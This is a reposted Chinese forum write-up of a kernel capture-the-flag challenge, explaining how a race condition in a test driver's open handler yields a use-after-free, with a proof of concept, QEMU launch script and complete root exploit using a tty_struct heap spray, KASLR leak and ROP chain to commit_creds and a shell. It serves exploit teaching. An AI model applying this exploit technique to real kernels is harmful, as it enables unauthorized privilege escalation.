ToB企服应用市场:ToB评测及商务社交产业平台

标题: 通过条件竞争实现内核提权 [打印本页]

作者: 南七星之家    时间: 2023-11-15 07:55
标题: 通过条件竞争实现内核提权
条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。
LK01-4

这里以一道例题作为例子介绍条件竞争在内核中的利用。
open模块

题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-4/LK01-4
open模块相较于LK01-3增加了锁的判断,当执行过open模块之后,mutex会被设置为1,这样可以避免第二次执行open模块时,有两个文件描述符指向同一块内存。
  1. static int module_open(struct inode *inode, struct file *file)
  2. {
  3.  printk(KERN_INFO "module_open called\n");
  4.  if (mutex) {
  5.    printk(KERN_INFO "resource is busy");
  6.    return -EBUSY;
  7.   }
  8.  mutex = 1;
  9.  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  10.  if (!g_buf) {
  11.    printk(KERN_INFO "kmalloc failed");
  12.    return -ENOMEM;
  13.   }
  14.  return 0;
  15. }
复制代码
例如以下代码,连续执行两遍open模块时,第二次执行会返回-1。
  1. #include <stdio.h>
  2. #include <fcntl.h>
  3. int main()
  4. {
  5.     int fd1 = open("/dev/holstein",O_RDWR);
  6.     printf("fd1:%d\n",fd1);
  7.    
  8.     int fd2 = open("/dev/holstein",O_RDWR);
  9.     printf("fd2:%d\n",fd2);
  10.    
  11. }
复制代码

单线程下执行的流程如下。
[img=720,571.4378554021121]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310231503021.png[/img]
但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open模块时,在处于判断mutex = 1这个赋值操作之前,而在mutext == 1这个判断语句之后切换到线程2,那么线程2在执行mutext == 1时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open模块,从而获得指向g_buf的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF漏洞的利用。
[img=720,562.7303754266212]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310231503022.png[/img]
POC

为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open模块。我们需要注意以下几点。
  1. #include <stdio.h>
  2. #include <fcntl.h>
  3. #include <stdlib.h>
  4. #include <pthread.h>
  5. #include <string.h>
  6. int success = 0;
  7. void *thread_function(void *arg) {
  8.     while(1)
  9.     {
  10.         while (!success)
  11.         {
  12.             int fd = open("/dev/holstein",O_RDWR);
  13.             if (fd == 4)
  14.                 success = 1;
  15.             if (fd != -1 && success == 0)
  16.                 close(fd);
  17.         }
  18.         if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
  19.         {
  20.             close(3);
  21.             close(4);
  22.             success = 0;
  23.         }
  24.         else
  25.             break;
  26.     }
  27.    
  28. }
  29. int main()
  30. {
  31.     pthread_t thread_id1, thread_id2;
  32.     if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
  33.     {
  34.         fprintf(stderr, "thread error\n");
  35.         return 1;
  36.     }
  37.     if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
  38.     {
  39.         fprintf(stderr, "thread error\n");
  40.         return 1;
  41.     }
  42.     pthread_join(thread_id1, NULL);
  43.     pthread_join(thread_id2, NULL);
  44.     char temp[0x20]= {};
  45.     write(3, "abcdefg", 7);
  46.     read(4, temp, 7);
  47.     if (strcmp(temp, "abcdefg"))
  48.     {
  49.         puts("fail\n");
  50.         exit(-1);
  51.     }
  52.     printf("sucess\n");
  53. }
复制代码
run.sh

这里可以看到-smp的选项为2,"-smp" 表示 "Symmetric MultiProcessing",即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,"-smp 2" 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
  1. #!/bin/sh
  2. qemu-system-x86_64 \
  3.    -m 64M \
  4.    -nographic \
  5.    -kernel bzImage \
  6.    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
  7.    -no-reboot \
  8.    -cpu qemu64,+smap,+smep \
  9.    -smp 2 \
  10.    -monitor /dev/null \
  11.    -initrd initramfs.cpio.gz \
  12.    -net nic,model=virtio \
  13.    -net user \
  14.    -s
复制代码
exp

因此提权的过程则是首先使用条件竞争的漏洞使得open模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF漏洞,并且分配大小属于tty结构体的范围内,因此通过堆喷使得tty结构体被控制,紧接着篡改ops指针为栈迁移的gadget地址,配合ioctl函数控制rdx寄存,将栈迁移到g_buf上,然后就是通过prepare_kernel_cred -> commit_creds -> swapgs_restore_regs_and_return_to_usermode的序列完成提权操作。
  1. #include <stdio.h>
  2. #include <fcntl.h>
  3. #include <stdlib.h>
  4. #include <pthread.h>
  5. #include <string.h>
  6. //0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
  7. //0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re
  8. //0xffffffff810b13c5: pop rdi; ret;
  9. //ffffffff81072580 T prepare_kernel_cred
  10. //ffffffff810723e0 T commit_creds
  11. //0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
  12. //0xffffffff81c6bfe0: pop rcx; ret;
  13. //ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
  14. //0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;
  15. #define push_rdx_pop_rsp 0x137da8
  16. #define pop_rdi_ret 0xb13c5
  17. #define prepare_kernel_cred 0x72580
  18. #define commit_creds 0x723e0
  19. #define pop_rcx_ret 0xc6bfe0
  20. #define mov_rdi_rax 0x65094b
  21. #define swapgs_restore 0x800e10
  22. #define pop_rcx_5 0x12b0
  23. unsigned long user_cs, user_sp, user_ss, user_rflags;
  24. void backdoor()
  25. {
  26.     printf("****getshell****");
  27.     system("id");
  28.     system("/bin/sh");
  29. }
  30. void save_user_land()
  31. {
  32.     __asm__(
  33.         ".intel_syntax noprefix;"
  34.         "mov user_cs, cs;"
  35.         "mov user_sp, rsp;"
  36.         "mov user_ss, ss;"
  37.         "pushf;"
  38.         "pop user_rflags;"
  39.         ".att_syntax;"
  40.     );
  41.     puts("[*] Saved userland registers");
  42.     printf("[#] cs: 0x%lx \n", user_cs);
  43.     printf("[#] ss: 0x%lx \n", user_ss);
  44.     printf("[#] rsp: 0x%lx \n", user_sp);
  45.     printf("[#] rflags: 0x%lx \n", user_rflags);
  46.     printf("[#] backdoor: 0x%lx \n\n", backdoor);
  47. }
  48. int success = 0;
  49. void *thread_function(void *arg) {
  50.     while(1)
  51.     {
  52.         while (!success)
  53.         {
  54.             int fd = open("/dev/holstein",O_RDWR);
  55.             if (fd == 4)
  56.                 success = 1;
  57.             if (fd != -1 && success == 0)
  58.                 close(fd);
  59.         }
  60.         if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
  61.         {
  62.             close(3);
  63.             close(4);
  64.             success = 0;
  65.         }
  66.         else
  67.             break;
  68.     }
  69.    
  70. }
  71. int main()
  72. {
  73.     pthread_t thread_id1, thread_id2;
  74.     int spray[200];
  75.     save_user_land();
  76.     if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
  77.     {
  78.         fprintf(stderr, "thread error\n");
  79.         return 1;
  80.     }
  81.     if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
  82.     {
  83.         fprintf(stderr, "thread error\n");
  84.         return 1;
  85.     }
  86.     pthread_join(thread_id1, NULL);
  87.     pthread_join(thread_id2, NULL);
  88.     char temp[0x20]= {};
  89.     write(3, "abcdefg", 7);
  90.     read(4, temp, 7);
  91.     printf("temp:%s\n", temp);
  92.     if (strcmp(temp, "abcdefg"))
  93.     {
  94.         puts("failure\n");
  95.         exit(-1);
  96.     }
  97.     if (!strcmp(temp,"abcdefg"))
  98.     {
  99.         printf("sucess\n");
  100.         close(4);
  101.         for (int i = 0; i < 50; i++)
  102.         {
  103.             spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
  104.             if (spray[i] == -1)
  105.             {
  106.                 printf("error!\n");
  107.                 exit(-1);
  108.             }
  109.         }
  110.         char buf[0x400];
  111.         read(3, buf, 0x400);
  112.         unsigned long *p = (unsigned long *)&buf;
  113.         for (unsigned int i = 0; i < 0x80; i++)
  114.             printf("[%x]:addr:0x%lx\n",i,p[i]);
  115.         unsigned long kernel_address = p[3];
  116.         unsigned long heap_address = p[7];
  117.         if ((kernel_address >> 32) != 0xffffffff)
  118.         {
  119.             printf("leak error!\n");
  120.             exit(-1);   
  121.         }
  122.         else
  123.             printf("leak    sucess\n");
  124.         unsigned long kernel_base = kernel_address - 0xc3afe0;
  125.         unsigned long g_buf = heap_address - 0x38;
  126.         printf("kernel_base:0x%lx\ng_buf:0x%lx\n", kernel_base, g_buf);
  127.         //getchar();   
  128.         *(unsigned long *)&buf[0x18] = g_buf;
  129.         p[0xc] = push_rdx_pop_rsp + kernel_base;
  130.         //for (unsigned long i = 0xd; i < 0x80; i++)
  131.         //  p[i] = g_buf + i;
  132.         int index = 0x21;
  133.         p[index++] = pop_rdi_ret + kernel_base;
  134.         p[index++] = 0;
  135.         p[index++] = prepare_kernel_cred + kernel_base;
  136.         p[index++] = pop_rcx_5 + kernel_base;
  137.         p[index++] = 0;
  138.         p[index++] = 0;
  139.         p[index++] = 0;
  140.         p[index++] = 0;
  141.         p[index++] = 0;
  142.         p[index++] = mov_rdi_rax + kernel_base;
  143.         p[index++] = commit_creds + kernel_base;
  144.         p[index++] = swapgs_restore + kernel_base + 22;
  145.         p[index++] = 0;
  146.         p[index++] = 0;
  147.         p[index++] = (unsigned long)backdoor;
  148.            p[index++] = user_cs;
  149.            p[index++] = user_rflags;
  150.            p[index++] = user_sp;
  151.            p[index++] = user_ss;      
  152.         write(3, buf, 0x400);   
  153.         ioctl(4, 0, g_buf + 0x100);         
  154.     }
  155.     return 0;   
  156. }
复制代码
CPU Affinity(CPU 亲和性)

这里作者用了CPU Affinity提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1绑定在CPU 0上运行,线程2绑定在CPU 1上,那么使得线程1与线程2可以并行运行,那么触发漏洞的可能性会大大提升。
首先初始化CPU集合,然后将绑定到指定的核上,然后在线程内部通过sched_setaffinity 函数设置CPU 亲和性。
  1. #define _GNU_SOURCE
  2. #include <sched.h>
  3. ...
  4.     cpu_set_t t1_cpu, t2_cpu;
  5.     CPU_ZERO(&t1_cpu);
  6.     CPU_ZERO(&t2_cpu);
  7.     CPU_SET(0, &t1_cpu);
  8.     CPU_SET(1, &t2_cpu);
  9. ...
  10.     if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0)
  11.     {
  12.         fprintf(stderr, "thread error\n");
  13.         return 1;
  14.     }
  15.     if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0)
  16.     {
  17.         fprintf(stderr, "thread error\n");
  18.         return 1;
  19.     }    
  20. void *thread_function(void *arg) {
  21.     cpu_set_t *cpu_set = (cpu_set_t  *)arg;
  22.     int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
  23.    ...
  24. }    
复制代码
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4